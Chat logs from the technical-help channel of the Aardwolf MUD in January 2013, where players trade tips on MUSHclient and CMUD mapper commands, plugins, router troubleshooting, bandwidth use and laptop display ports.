T3/r7/2013-01-04.txt.gz:{chan ch=tech}Book of Etzli Tech: Seriously, Zade, now I remember why I put you on ignore.
T3/r7/2013-01-04.txt.gz:{chan ch=tech}Book of Etzli Tech: Thanks for reminding me.
T3/r7/2013-01-04.txt.gz:{chan ch=tech}Zade Tech: so somebody disagrees with somebody's opinions and they put them on ignore - yep, more ignore slots are required
T3/r7/2013-01-04.txt.gz:{chan ch=tech}Sonshi Tech: the first time I went through the great portal as a clueless newbie, I spammed recall as soon as I saw the 9324394824 demons whack me at the same time... I doubt quaffing would've helped. It's certainly not an argument for needing to autoquaff.
T3/r7/2013-01-04.txt.gz:{chan ch=tech}Sonshi Tech: if you see sudden spam as a newbie, you're either dead or you escape.
T3/r7/2013-01-04.txt.gz:{chan ch=tech}Chemosh Tech: glad you could get through the great portal at least
T3/r7/2013-01-04.txt.gz:{chan ch=tech}Chemosh Tech: they got a great wall of firewall dedicated to taht in china
T3/r7/2013-01-04.txt.gz:{chan ch=tech}Chemosh Tech: no all bad i guess, but they get angry about censorship
T3/r7/2013-01-04.txt.gz:{chan ch=tech}Zade Tech: a lot of newbies die due to inexperience and shabby equipment
T3/r7/2013-01-04.txt.gz:{chan ch=tech}Zade Tech: until i got noweb, Cataclysm was dangerous
T3/r7/2013-01-04.txt.gz:{chan ch=tech}Tech: btw, I have an autoquaff plugin posted on my site...however, it was written before GMCP, so it uses statmon
T3/r7/2013-01-04.txt.gz:{chan ch=tech}Tech: and being in combat mode doesn't make autoquaffing illegal...being afk in an aggro room does
T3/r7/2013-01-04.txt.gz:{chan ch=tech}Zade Tech: in Cataclysm, The Ritual Staging Grounds, those seeker107 dissolve potions often don't work until several are quaffed, and with the quaff lag, the results of each quaff must be watched and acted upon for the flee or retreat, without the delay of another quaff during which web may happen again
T3/r7/2013-01-04.txt.gz:{chan ch=tech}Tech: try perdition 201 dissolves instead
T3/r7/2013-01-04.txt.gz:{chan ch=tech}Zade Tech: i dread going into Nyne Woods into those aggro sections where the only exit is a custom exits -- the player is gambling (1) that an external emergency won't happen (2) heals won't run out while trying to get out
T3/r7/2013-01-04.txt.gz:{chan ch=tech}Tech: blind, baby, blind :-)
T3/r7/2013-01-04.txt.gz:{chan ch=tech}Zade Tech: almost as though builders of some areas are deliberately seeking to get players nuked or dead 
T3/r7/2013-01-04.txt.gz:{chan ch=tech}Book of Etzli Tech: Hmm. Anyone have a solution to why I can ping my router, access a number of webpages (though not all, since some will not load), yet cannot access my router's page?
T3/r7/2013-01-04.txt.gz:{chan ch=tech}Tech: reboot the router, its webserver may have died
T3/r7/2013-01-04.txt.gz:{chan ch=tech}Book of Etzli Tech: Hmm. Was hoping to stay away from that, not that it's detrimental or anything. Will do that now, then.
T3/r7/2013-01-04.txt.gz:{chan ch=tech}Book of Etzli Tech: After a 30-second powercycle... still can't access it. :\
T3/r7/2013-01-04.txt.gz:{chan ch=tech}Book of Etzli Tech: Any other ideas?
T3/r7/2013-01-04.txt.gz:{chan ch=tech}Tech: hmm, and you're sure you're using the right port? Iknow mine has a different internal vs external port for its web interface
T3/r7/2013-01-04.txt.gz:{chan ch=tech}Book of Etzli Tech: It's the only one I've ever used. I have it set to 192.168.2.1. Never had a problem connecting to it before, and in fact was connected to my phone via 192.168.2.17:8888 not more than an hour ago.
T3/r7/2013-01-04.txt.gz:{chan ch=tech}Book of Etzli Tech: But it's more than just that. For instance, I can connect to facebook, but not fark. I can connect to Aardwolf and Google, but not sporcle.com, etc.
T3/r7/2013-01-04.txt.gz:{chan ch=tech}Tech: I'd normally go with DNS for that stuff, but using IP for router bypasses DNS
T3/r7/2013-01-04.txt.gz:{chan ch=tech}Book of Etzli Tech: I can ping them alright, and get good responses. I've flushed the dns, no dice.
T3/r7/2013-01-04.txt.gz:{chan ch=tech}Tech: Book of Etzli nods at you in agreement. 
T3/r7/2013-01-04.txt.gz:{chan ch=tech}Book of Etzli Tech: {Ping to 192.168.2.1 Min: 1ms Avg: 1ms Max: 2ms}
T3/r7/2013-01-04.txt.gz:{chan ch=tech}Tech: is your phone able to get to your router's webpage?
T3/r7/2013-01-04.txt.gz:{chan ch=tech}Book of Etzli Tech: Amusingly, yes.
T3/r7/2013-01-04.txt.gz:{chan ch=tech}Book of Etzli Tech: Hmm... don't know why I didn't think of that.
T3/r7/2013-01-04.txt.gz:{chan ch=tech}Tech: then it sounds like the issue is just with your PC and not with the router, so I'd try PC reboot first if you haven't
T3/r7/2013-01-04.txt.gz:{chan ch=tech}Book of Etzli Tech: Yeah, I'm just about to do that. Silly me. :p
T3/r7/2013-01-04.txt.gz:{chan ch=tech}Book of Etzli Tech: There we go, that fixed it.
T3/r7/2013-01-04.txt.gz:{chan ch=tech}Tech: cool
T3/r7/2013-01-04.txt.gz:{chan ch=tech}Book of Etzli Tech: Thanks for being my brains for that one. :p
T3/r7/2013-01-05.txt.gz:{chan ch=tech}Bluntman & Chronic Tech: anyone using or have used that dragon naturally speaking?
T3/r7/2013-01-05.txt.gz:{chan ch=tech}Periphery Tech: hoping someone can clear my doubt, my brother plays on blowtorch  ,but hes concerned about racking up the data limit (2gb)  im not as well versed in this but while connected to this game, will there be a ton of data exchanging back and forth?
T3/r7/2013-01-05.txt.gz:{chan ch=tech}Tech: Aard is pretty lightweight on data usage
T3/r7/2013-01-05.txt.gz:{chan ch=tech}Book of Etzli Tech: Type compress to see how much. :)
T3/r7/2013-01-05.txt.gz:{chan ch=tech}Book of Etzli Tech: It's unlikely that he'll reach 2GB playing from Aardwolf. Maybe not even if he left it on 24/7.
T3/r7/2013-01-05.txt.gz:{chan ch=tech}Mokg Tech: Bytes In :  16819404 Bytes Out:   1898822
T3/r7/2013-01-05.txt.gz:{chan ch=tech}Mokg Tech: this is since yesterday
T3/r7/2013-01-05.txt.gz:{chan ch=tech}Mokg Tech: or maybe not...
T3/r7/2013-01-05.txt.gz:{chan ch=tech}Book of Etzli Tech: 18,718,226, or 18MB.
T3/r7/2013-01-05.txt.gz:{chan ch=tech}Periphery Tech: ah 18 mb, im relived then =) does blowtorch have the mccp compression?
T3/r7/2013-01-05.txt.gz:{chan ch=tech}Tech: my uncompressed logs from the month of December, being connected 24/7, take up 140MBs
T3/r7/2013-01-05.txt.gz:{chan ch=tech}Book of Etzli Tech: I doubt it. He can type 'compress' to see if it's on or not.
T3/r7/2013-01-05.txt.gz:{chan ch=tech}Tech: that's everything that has crossed my screen, and doesn't include the reduction from MCCP
T3/r7/2013-01-05.txt.gz:{chan ch=tech}Mokg Tech: that doesnt include gmcp information though
T3/r7/2013-01-05.txt.gz:{chan ch=tech}Periphery Tech: thanks for the help guys =) ill let my brother know
T3/r7/2013-01-05.txt.gz:{chan ch=tech}Periphery Tech: he should be pretty happy
T3/r7/2013-01-05.txt.gz:{chan ch=tech}Tech: blowtorch doesn't do GMCP, but it does do MCCP, and I echo a bit of GMCP stuff where my logs get it (not much, but every room has: GMCP: Room.Num 22150, GMCP: Room.Name Abelinc's Place, GMCP: Room.Zone manor3, GMCP: Room.Terrain city, GMCP: Room.Details bank,safe, GMCP: Room.Exits  "s": 22149, GMCP: Room.Coord 0 54 16 0 :-)
T3/r7/2013-01-05.txt.gz:{chan ch=tech}Tech: hmm, I wonder...does mapper goto work for a room which you have seen an exit to, but have not been in? (so the room itself wouldn't actually be in the database, but the exit would)
T3/r7/2013-01-05.txt.gz:{chan ch=tech}A Tempting Guinness Tech: mapper unmapped?
T3/r7/2013-01-05.txt.gz:{chan ch=tech}Tech: right, that's a way to list those, was more wondering if going to them would be limited to the area I guess
T3/r7/2013-01-05.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: the area?
T3/r7/2013-01-05.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: the answer is no, you can only go to a room you've been to before
T3/r7/2013-01-05.txt.gz:{chan ch=tech}Tech: ahh, ok, so you'd basically mapper unmapped, then go to the adjacent room and walk in?
T3/r7/2013-01-05.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: mapper unmapped lists rooms with unmapped exits
T3/r7/2013-01-05.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: technically that should be unexplored exits
T3/r7/2013-01-05.txt.gz:{chan ch=tech}Tech: ahh, my unmapped lists the UID of both sides
T3/r7/2013-01-05.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: yeah
T3/r7/2013-01-05.txt.gz:{chan ch=tech}Tech: oh, and mapper help exploring entry for mapper unmapped should have "n" in known areas :-)
T3/r7/2013-01-05.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: I'm trying to think why you can't go directly to the unmapped uid
T3/r7/2013-01-05.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: indeed it should
T3/r7/2013-01-05.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: I'm not exactly sure off the top of my head why it won't find a path to the unmapped exit
T3/r7/2013-01-05.txt.gz:{chan ch=tech}Tech: heh, nod, that's why I figured I'd ask...it certainly has the necessary path info
T3/r7/2013-01-05.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: mapper unmapped should also probably not list -1s
T3/r7/2013-01-05.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: I think it's because the room isn't stored
T3/r7/2013-01-05.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: even though the exit destination is
T3/r7/2013-01-05.txt.gz:{chan ch=tech}Tech: You nod.
T3/r7/2013-01-05.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: and it starts by searching for rooms
T3/r7/2013-01-05.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: I guess I could change that
T3/r7/2013-01-05.txt.gz:{chan ch=tech}Tech: it came to me to ask when I gave the UID of my porch...people are more likely to have walked the main roads of manor areas than dropping into each porch (do you ship with manor roads?)
T3/r7/2013-01-05.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: yeah
T3/r7/2013-01-05.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: uh I don't think so
T3/r7/2013-01-05.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: but you can use mapper findpath to give the path from recall
T3/r7/2013-01-05.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: without having to go there
T3/r7/2013-01-05.txt.gz:{chan ch=tech}Idras Tech: for blowtorch is there a way to initiate last command?
T3/r7/2013-01-05.txt.gz:{chan ch=tech}Chaz Bono Cheezburger Tech: I made an alias to save all commands to an array and then just added a hotbutton to resend.
T3/r7/2013-01-05.txt.gz:{chan ch=tech}Chaz Bono Cheezburger Tech: A lot of effort really, and the results were minimal.
T3/r7/2013-01-05.txt.gz:{chan ch=tech}The Reaper Myrkul Tech: you could just use !
T3/r7/2013-01-05.txt.gz:{chan ch=tech}Quelz Tech: there should be options to the left of where the text gets entered
T3/r7/2013-01-05.txt.gz:{chan ch=tech}Chaz Bono Cheezburger Tech: Herpderp on me.
T3/r7/2013-01-05.txt.gz:{chan ch=tech}Idras Tech: allright will try it out thanks =)
T3/r7/2013-01-05.txt.gz:{chan ch=tech}Chaz Bono Cheezburger Tech: Always let my clients do it, forget that ! works like that sometimes.
T3/r7/2013-01-05.txt.gz:{chan ch=tech}Azrael Tech: anyone know how to turn on the logger on aardmush?
T3/r7/2013-01-05.txt.gz:{chan ch=tech}Mokg Tech: file log session
T3/r7/2013-01-05.txt.gz:{chan ch=tech}Mokg Tech: chats automatically recorded though
T3/r7/2013-01-05.txt.gz:{chan ch=tech}Acheos Tech: anyone with mushclient have alot of custon exits an portals setup that would be willing to send me the scritp? :P
T3/r7/2013-01-05.txt.gz:{chan ch=tech}Trachx Tech: you mean database, not script
T3/r7/2013-01-05.txt.gz:{chan ch=tech}Acheos Tech: yeh whatever it is, im so bad with software i will never get anywhere lol
T3/r7/2013-01-05.txt.gz:{chan ch=tech}Book of Etzli Tech: If Xyrico was logged in, I'd say get it from him. As it stands, I cannot remember the link.
T3/r7/2013-01-05.txt.gz:{chan ch=tech}Acheos Tech: so will it actually work? someone mentioned it to me and i jumped at the idea
T3/r7/2013-01-05.txt.gz:{chan ch=tech}Book of Etzli Tech: Why wouldn't it?
T3/r7/2013-01-05.txt.gz:{chan ch=tech}Acheos Tech: otherwise is it better to just make aliases instead of using mapper? or to what i understand now using mapper than just making an alias with the room id
T3/r7/2013-01-05.txt.gz:{chan ch=tech}Acheos Tech: i have no idea, thats why i am asking
T3/r7/2013-01-05.txt.gz:{chan ch=tech}Book of Etzli Tech: I'm too tired to answer that.
T3/r7/2013-01-05.txt.gz:{chan ch=tech}Trachx Tech: ask Fiendish, he should have the best database
T3/r7/2013-01-05.txt.gz:{chan ch=tech}TrEz Tech: anyone using myfitnesspal for android ?
T3/r7/2013-01-05.txt.gz:{chan ch=tech}Siren Cera Tech: is the a command I can type into the commandline in MUSH to show me the current vaule of a variable?
T3/r7/2013-01-05.txt.gz:{chan ch=tech}Dethronicus Tech: I think you can look at it in the variables menu?
T3/r7/2013-01-05.txt.gz:{chan ch=tech}Siren Cera Tech: something along the lines of what zmud allows, iirc, #show #varaiblebame ?
T3/r7/2013-01-05.txt.gz:{chan ch=tech}Siren Cera Tech: not if its in a plugin
T3/r7/2013-01-05.txt.gz:{chan ch=tech}Siren Cera Tech: so no one knows, or no, its not possible.
T3/r7/2013-01-05.txt.gz:{chan ch=tech}Duvala Tech: How would I disable these floating buttons in Blowtorch?
T3/r7/2013-01-05.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: long press until it vibrates 3 times
T3/r7/2013-01-05.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: Cera: http://www.gammon.com.au/scripts/function.php?name=GetPluginVariable
T3/r7/2013-01-05.txt.gz:{chan ch=tech}Arystul Tech: anyone know how to restore a PSN account? I haven't had a PS3 in a while and I just tried to log into my account, says my password is no longer valid and it sent an email to my email address to change the password, however I don't have the email address anymore
T3/r7/2013-01-05.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: set up a new account?
T3/r7/2013-01-05.txt.gz:{chan ch=tech}Raaza Tech: tineye.com
T3/r7/2013-01-05.txt.gz:{chan ch=tech}Don't Bore Xyndor Tech: If my mapper thinks theres an exit down but there isnt, how do I fix that?  (its a continent room so I cant right click the room)
T3/r7/2013-01-05.txt.gz:{chan ch=tech}Daloran Tech: you might be able to do it by deleteing the room with purgeroom, and then readding it
T3/r7/2013-01-05.txt.gz:{chan ch=tech}Don't Bore Xyndor Tech: "mapper purgeroom" doesnt work..
T3/r7/2013-01-05.txt.gz:{chan ch=tech}Daloran Tech: Respond with an error message or something?
T3/r7/2013-01-05.txt.gz:{chan ch=tech}Don't Bore Xyndor Tech: No, just not a mapper command.
T3/r7/2013-01-05.txt.gz:{chan ch=tech}Daloran Tech: It is though... so either you're mistyping it, or you've got other problems 
T3/r7/2013-01-05.txt.gz:{chan ch=tech}Don't Bore Xyndor Tech: you're thinking of purgezone?
T3/r7/2013-01-05.txt.gz:{chan ch=tech}Daloran Tech: No, purgeroom.
T3/r7/2013-01-05.txt.gz:{chan ch=tech}Testure Tech: first try restarting the application of even the OS first..
T3/r7/2013-01-05.txt.gz:{chan ch=tech}Daloran Tech: It removes the room you're currently in from the mapper
T3/r7/2013-01-05.txt.gz:{chan ch=tech}TrEz Tech: is there another cp highlighter than Bast's
T3/r7/2013-01-05.txt.gz:{chan ch=tech}Trachx Tech: S&D has qs shortcut for quick scan
T3/r7/2013-01-05.txt.gz:{chan ch=tech}The Slithy Toves Tech: finger winklewinkle
T3/r7/2013-01-05.txt.gz:{chan ch=tech}TrEz Tech: apart from that tho
T3/r7/2013-01-05.txt.gz:{chan ch=tech}TrEz Tech: winkle got highlighter ?
T3/r7/2013-01-05.txt.gz:{chan ch=tech}The Slithy Toves Tech: if you mean something to deal with CPs, yes
T3/r7/2013-01-05.txt.gz:{chan ch=tech}Bast Tech: what's is wrong with mine?
T3/r7/2013-01-05.txt.gz:{chan ch=tech}TrEz Tech: yours doesn't seem to work standalone, needs another plugin
T3/r7/2013-01-05.txt.gz:{chan ch=tech}TrEz Tech: I removed some and it stopped working
T3/r7/2013-01-05.txt.gz:{chan ch=tech}Bast Tech: reload it and it will autoload the one it needs
T3/r7/2013-01-05.txt.gz:{chan ch=tech}TrEz Tech: that's the point tho, I don't want the others
T3/r7/2013-01-05.txt.gz:{chan ch=tech}TrEz Tech: some of them executes cp check on cp mob kill
T3/r7/2013-01-05.txt.gz:{chan ch=tech}TrEz Tech: spamming me etc
T3/r7/2013-01-05.txt.gz:{chan ch=tech}Bast Tech: yes, so you can be told if a cp mob died and is in red, otherwise you don't know
T3/r7/2013-01-05.txt.gz:{chan ch=tech}Trachx Tech: it could be nice to have you plugins in 2 versions : integrated and specialized
T3/r7/2013-01-05.txt.gz:{chan ch=tech}Maryposa Tech: tech I accidently hit / and enter taking me to recall before I realised what was happening when I was meant to hit up button and enter. How do I deactivate it??????
T3/r7/2013-01-05.txt.gz:{chan ch=tech}Maryposa Tech: anyone on? I accidently hit / and enter taking me to recall before I realised what was happening when I was meant to hit up button and enter. How do I deactivate it??????
T3/r7/2013-01-05.txt.gz:{chan ch=tech}TrEz Tech: it's global alias
T3/r7/2013-01-05.txt.gz:{chan ch=tech}Ontuct Tech: alias / to anything else
T3/r7/2013-01-05.txt.gz:{chan ch=tech}TrEz Tech: mudside global
T3/r7/2013-01-05.txt.gz:{chan ch=tech}Ontuct Tech: type alias / look
T3/r7/2013-01-05.txt.gz:{chan ch=tech}Ontuct Tech: and it will look instead
T3/r7/2013-01-05.txt.gz:{chan ch=tech}Maryposa Tech: thanks. um what is that meant to do exactly?
T3/r7/2013-01-05.txt.gz:{chan ch=tech}Ontuct Tech: insteaf recall being tied to the / look will be. it will still not do as you intended but at least you won't recall
T3/r7/2013-01-05.txt.gz:{chan ch=tech}HelperMan Hadar Tech: with cmud is there a way to view all the portals you have set up currently?
T3/r7/2013-01-05.txt.gz:{chan ch=tech}Book of Etzli Tech: Mapper -> Edit -> Portals?
T3/r7/2013-01-05.txt.gz:{chan ch=tech}HelperMan Hadar Tech: i ment like a way to print them out so i can compare it to a current list of portals i have
T3/r7/2013-01-05.txt.gz:{chan ch=tech}Grissom Tech: how do you see the mapper commands
T3/r7/2013-01-05.txt.gz:{chan ch=tech}TrEz Tech: mapper help
T3/r7/2013-01-05.txt.gz:{chan ch=tech}Grissom Tech: thanks
T3/r7/2013-01-05.txt.gz:{chan ch=tech}TrEz Tech: np, you can hug me
T3/r7/2013-01-05.txt.gz:{chan ch=tech}Book of Etzli Tech: There may be, Hadar, but I can't think of it off the top of my head, let me see.
T3/r7/2013-01-05.txt.gz:{chan ch=tech}Tech: Grissom hugs TrEz.
T3/r7/2013-01-05.txt.gz:{chan ch=tech}TrEz Tech: thanks
T3/r7/2013-01-05.txt.gz:{chan ch=tech}Hanslanda Tech: you can do it via the Mapper window, can't you?
T3/r7/2013-01-05.txt.gz:{chan ch=tech}Grissom Tech: i always thought you were a guy
T3/r7/2013-01-05.txt.gz:{chan ch=tech}TrEz Tech: can't imagine why
T3/r7/2013-01-05.txt.gz:{chan ch=tech}Grissom Tech: the name really always confuse you and etzli
T3/r7/2013-01-05.txt.gz:{chan ch=tech}Book of Etzli Tech: Hanslanda: I think he wants to print a database of it, like #FORALL %portal() {#print %i}
T3/r7/2013-01-05.txt.gz:{chan ch=tech}Book of Etzli Tech: Obviously, that won't work.
T3/r7/2013-01-05.txt.gz:{chan ch=tech}Book of Etzli Tech: Though there might be something in mapquery to use.
T3/r7/2013-01-05.txt.gz:{chan ch=tech}Hanslanda Tech: mapquery only works on the WHERE of the rooms table.  Can't access any other part of the mapper with it.
T3/r7/2013-01-05.txt.gz:{chan ch=tech}Book of Etzli Tech: Wasn't sure if portals were set to that. Then sql. :p
T3/r7/2013-01-05.txt.gz:{chan ch=tech}HelperMan Hadar Tech: i figured i would have to do it with a third party program
T3/r7/2013-01-05.txt.gz:{chan ch=tech}Hanslanda Tech: if they were, you'd only have an id number, which is entirely useless for comparison.
T3/r7/2013-01-05.txt.gz:{chan ch=tech}Book of Etzli Tech: Why would you have to do it with a third party program if you can use sql?
T3/r7/2013-01-05.txt.gz:{chan ch=tech}The Slithy Toves Tech: syntax for adding a portal to the mapper to use instead of runto to get to an area is...?
T3/r7/2013-01-05.txt.gz:{chan ch=tech}Hanslanda Tech: better UI
T3/r7/2013-01-05.txt.gz:{chan ch=tech}Book of Etzli Tech: Perhaps, Hanslanda, but if you're only wanting to print up a list, not just view it, then using sql in CMUD wouldn't be bad.
T3/r7/2013-01-05.txt.gz:{chan ch=tech}Hanslanda Tech: no, it wouldn't be so bad, but trying to figure out what went wrong using CMud's sql interface is rather inconvenient.
T3/r7/2013-01-05.txt.gz:{chan ch=tech}Tech: Book of Etzli snickers softly.
T3/r7/2013-01-05.txt.gz:{chan ch=tech}Book of Etzli Tech: It'd be nice if there were a way to upgrade Lua to 5.2 in CMUD. :p
T3/r7/2013-01-05.txt.gz:{chan ch=tech}Hanslanda Tech: why couldn't you?
T3/r7/2013-01-05.txt.gz:{chan ch=tech}Book of Etzli Tech: How would you?
T3/r7/2013-01-05.txt.gz:{chan ch=tech}Book of Etzli Tech: Last time I tried, I must not have done something right, because it didn't work.
T3/r7/2013-01-05.txt.gz:{chan ch=tech}Hanslanda Tech: LUA is not something actually built into CMud, so it's probably just working with the MSH.
T3/r7/2013-01-05.txt.gz:{chan ch=tech}Book of Etzli Tech: I don't know. I'll try again in the future, but I couldn't get it to work. It'd also be nice if CMUD could be compiled with LuaInterface, but I don't see that happening either. :p
T3/r7/2013-01-05.txt.gz:{chan ch=tech}Tech: Toves: for just the syntax of the command, "mapper help" is extremely helpful...for understanding what your portal commands should really be doing and why, finger fiendish, go to his site...his wiki has tons of info on the aard MUSHclient and its plugins...click included plugins, featured plugins, GMCP driven world mapper...on the "more tips" section of that page is a link to a really good tutorial that walks you through the thought process of doing portal commands in a nice methodical manner
T3/r7/2013-01-05.txt.gz:{chan ch=tech}Miss Tell Shaelynne Tech: what's the command to check the update for mush client 
T3/r7/2013-01-05.txt.gz:{chan ch=tech}WarLord Mars Tech: ok may seem like a dumb questiou
T3/r7/2013-01-05.txt.gz:{chan ch=tech}WarLord Mars Tech: how do you track down when mush finds a speedwalk initiated inside another speedwalk?
T3/r7/2013-01-05.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: Mars: that's always going to be because a portal or cexit did an alias that itself does mapper find
T3/r7/2013-01-05.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: Shaelynne: package update check
T3/r7/2013-01-05.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: Hanslanda: Lua isn't an acronym
T3/r7/2013-01-05.txt.gz:{chan ch=tech}Hanslanda Tech: yay!  the time machine's fixed again!
T3/r7/2013-01-05.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: With a few small modifications, any canoe can travel through time.
T3/r7/2013-01-05.txt.gz:{chan ch=tech}Tech: Mendaloth waves a sign reading 'CITATION NEEDED' at The Jerk Fiendish.
T3/r7/2013-01-05.txt.gz:{chan ch=tech}Sit like a Trurien Tech: Any vehicle can.
T3/r7/2013-01-05.txt.gz:{chan ch=tech}Sit like a Trurien Tech: If you use it for about 10 minutes, you've gone 10 minutes into the future.
T3/r7/2013-01-05.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: http://i.imgur.com/U2Qzx.png
T3/r7/2013-01-05.txt.gz:{chan ch=tech}Hakuna Sakata Tech: okay so my quest window from bast keeps dissapearing insted of having the timer, anyone know the toggle?
T3/r7/2013-01-05.txt.gz:{chan ch=tech}Bast Tech: are you using the quest or events window?
T3/r7/2013-01-05.txt.gz:{chan ch=tech}Revia Tech: anyone know the command (something called "carryover")? It's for triggers that need to match the last line of the output
T3/r7/2013-01-05.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: what?
T3/r7/2013-01-05.txt.gz:{chan ch=tech}Revia Tech: I know it's vague
T3/r7/2013-01-05.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: I don't even know what you're talking about
T3/r7/2013-01-05.txt.gz:{chan ch=tech}Revia Tech: ok. How can I make a trigger to match "[623/623hp 566/566mn 926/926mv 0qt 589tnl] >"
T3/r7/2013-01-05.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: what do you actually want to do?
T3/r7/2013-01-05.txt.gz:{chan ch=tech}Revia Tech: just trying to remember the command lasher made last year
T3/r7/2013-01-05.txt.gz:{chan ch=tech}TrEz Tech: is it carriage return ?
T3/r7/2013-01-05.txt.gz:{chan ch=tech}Tech: lasher cannot make commands to trigger stuff...
T3/r7/2013-01-05.txt.gz:{chan ch=tech}SuperJayT Tech: carriage return?
T3/r7/2013-01-05.txt.gz:{chan ch=tech}Revia Tech: ooo that's it. thanks!
T3/r7/2013-01-05.txt.gz:{chan ch=tech}Tech: A winner is TrEz!
T3/r7/2013-01-05.txt.gz:{chan ch=tech}Tech: p data will show you your prompt
T3/r7/2013-01-05.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: what client are you using?
T3/r7/2013-01-05.txt.gz:{chan ch=tech}Revia Tech: mush
T3/r7/2013-01-05.txt.gz:{chan ch=tech}Tech: lasher made the carriage return?!? wow.
T3/r7/2013-01-05.txt.gz:{chan ch=tech}TrEz Tech: patented
T3/r7/2013-01-05.txt.gz:{chan ch=tech}Tech: SuperJayT snickers softly.
T3/r7/2013-01-05.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: you're using mushclient but not the aardwolf mushclient package?
T3/r7/2013-01-05.txt.gz:{chan ch=tech}Revia Tech: It's the package
T3/r7/2013-01-05.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: the aardwolf mushclient package fixes your prompt automatically
T3/r7/2013-01-05.txt.gz:{chan ch=tech}Tech: Fiendish writes the package, btw
T3/r7/2013-01-05.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: via the Aardwolf_Prompt_Fixer plugin
T3/r7/2013-01-05.txt.gz:{chan ch=tech}Revia Tech: I have to check it out then
T3/r7/2013-01-05.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: every time you start up mushclient it will check your prompt to make sure it ends in %c
T3/r7/2013-01-05.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: (that description is technically inaccurate, but not the part that matters)
T3/r7/2013-01-05.txt.gz:{chan ch=tech}Revia Tech: nice
T3/r7/2013-01-05.txt.gz:{chan ch=tech}Dhovar Tech: on MUSHclient 4.84, is there a way to set your health/mana/etc... bar to not be long, rather be one on top of the other?
T3/r7/2013-01-05.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: right-click on the text somewhere
T3/r7/2013-01-05.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: Stack Bars
T3/r7/2013-01-05.txt.gz:{chan ch=tech}Dhovar Tech: I'm dumb!  LoL - Thanks!
T3/r7/2013-01-05.txt.gz:{chan ch=tech}Miss Tell Shaelynne Tech: I updated the aard mush client and now every time I run to a new area I get : BIGMAP INFO: Constructed new continent bigmap for The Dark Continent, Abend. and the BIGMAP on my screen. I've tried "bigmap off" and it says it's disabled, but still does it every time i RT a new area 
T3/r7/2013-01-05.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: stop running through continents and let it do its job
T3/r7/2013-01-05.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: go visit abend
T3/r7/2013-01-05.txt.gz:{chan ch=tech}Ranrr Tech: Looking at buying a new PC laptop. Is there any reason to get a displayport and thunderbolt on it? I see some of them have it, but I can't really see a use case for them.
T3/r7/2013-01-05.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: define reason
T3/r7/2013-01-05.txt.gz:{chan ch=tech}Tech: displayport is basically HDMI without the royalties (so generic HDMI)
T3/r7/2013-01-05.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: there is a huge reason to have hdmi out. it means you can plug into a TV or projector
T3/r7/2013-01-05.txt.gz:{chan ch=tech}Tech: and thunderbolt is mostly a Mac thing
T3/r7/2013-01-05.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: a modern one anyway
T3/r7/2013-01-05.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: I hate that my x201 only has vga out
T3/r7/2013-01-05.txt.gz:{chan ch=tech}Ranrr Tech: Well, would it be something I missed if I didn't have it.
T3/r7/2013-01-05.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: it's something that *I* miss. 
T3/r7/2013-01-05.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: I can't say what you would miss
T3/r7/2013-01-05.txt.gz:{chan ch=tech}Tech: depends on whether you'd want to play downloaded movies on your TV, or conferenceroom wallboard TV
T3/r7/2013-01-05.txt.gz:{chan ch=tech}Ranrr Tech: When would you use displayport instead of hdmi?
T3/r7/2013-01-05.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: you'd just use an adapter
T3/r7/2013-01-05.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: instead of? I wouldn't
T3/r7/2013-01-05.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: if I had both I'd use hdmi much more often
T3/r7/2013-01-05.txt.gz:{chan ch=tech}Tech: CFO at work bought a TV for the conference room (we normally use LCD projector)...dummy got a plasma, without a VGA...when at the time all our laptops were older with just VGA
T3/r7/2013-01-05.txt.gz:{chan ch=tech}Ranrr Tech: They all seem to have hdmi, it's just that some have displayport as well.
T3/r7/2013-01-05.txt.gz:{chan ch=tech}Tech: hmm, that's actually unusual
T3/r7/2013-01-05.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: plasma tvs tend to be really nice tho
T3/r7/2013-01-05.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: really good color and contrast
T3/r7/2013-01-05.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: much better than lcd
T3/r7/2013-01-05.txt.gz:{chan ch=tech}Ranrr Tech: Im looking at lenovo laptops.
